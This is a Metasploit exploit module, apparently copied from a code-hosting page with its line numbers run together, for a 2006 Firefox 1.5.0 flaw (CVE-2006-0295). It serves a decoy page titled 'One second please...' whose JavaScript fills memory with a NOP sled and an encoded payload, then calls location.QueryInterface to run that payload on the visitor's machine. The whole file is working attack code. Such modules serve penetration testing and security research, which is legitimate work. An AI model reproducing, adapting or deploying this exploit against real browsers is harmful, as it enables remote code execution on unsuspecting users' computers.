Path: blob/master/modules/exploits/multi/browser/firefox_queryinterface.rb
31615 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Firefox location.QueryInterface() Code Execution',18'Description' => %q{19This module exploits a code execution vulnerability in the Mozilla20Firefox browser. To reliably exploit this vulnerability, we need to fill21almost a gigabyte of memory with our nop sled and payload. This module has22been tested on OS X 10.3 with the stock Firefox 1.5.0 package.23},24'License' => MSF_LICENSE,25'Author' => ['hdm'],26'References' => [27['CVE', '2006-0295'],28['OSVDB', '22893'],29['BID', '16476'],30['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],31],32'Payload' => {33'Space' => 1000 + (rand(256).to_i * 4),34'BadChars' => "\x00"35},36'Targets' => [37[38'Firefox 1.5.0.0 Mac OS X',39{40'Platform' => 'osx',41'Arch' => ARCH_PPC42}43],4445[46'Firefox 1.5.0.0 Linux',47{48'Platform' => 'linux',49'Arch' => ARCH_X8650}51],52],53'DisclosureDate' => '2006-02-02',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)61end6263def on_request_uri(cli, _request)64# Re-generate the payload65return if ((p = regenerate_payload(cli)).nil?)6667print_status("Sending #{name}")68send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })69handler(cli)70end7172def generate_html(payload)73enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))74enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))7576return <<~EOF77<html>78<head>79<title>One second please...</title>80<script language="javascript">8182function BodyOnLoad() {83h = FillHeap();84location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));85};8687function FillHeap() {88// Filler89var m = "";90var h = "";91var a = 0;9293// Nop sled94for(a=0; a<(1024*256); a++)95m += unescape("#{enc_nops}");9697// Payload98m += unescape("#{enc_code}");99100// Repeat101for(a=0; a<1024; a++)102h += m;103104// Return105return h;106}107</script>108</head>109<body onload="BodyOnLoad()">110</body>111</html>112EOF113end114end115116117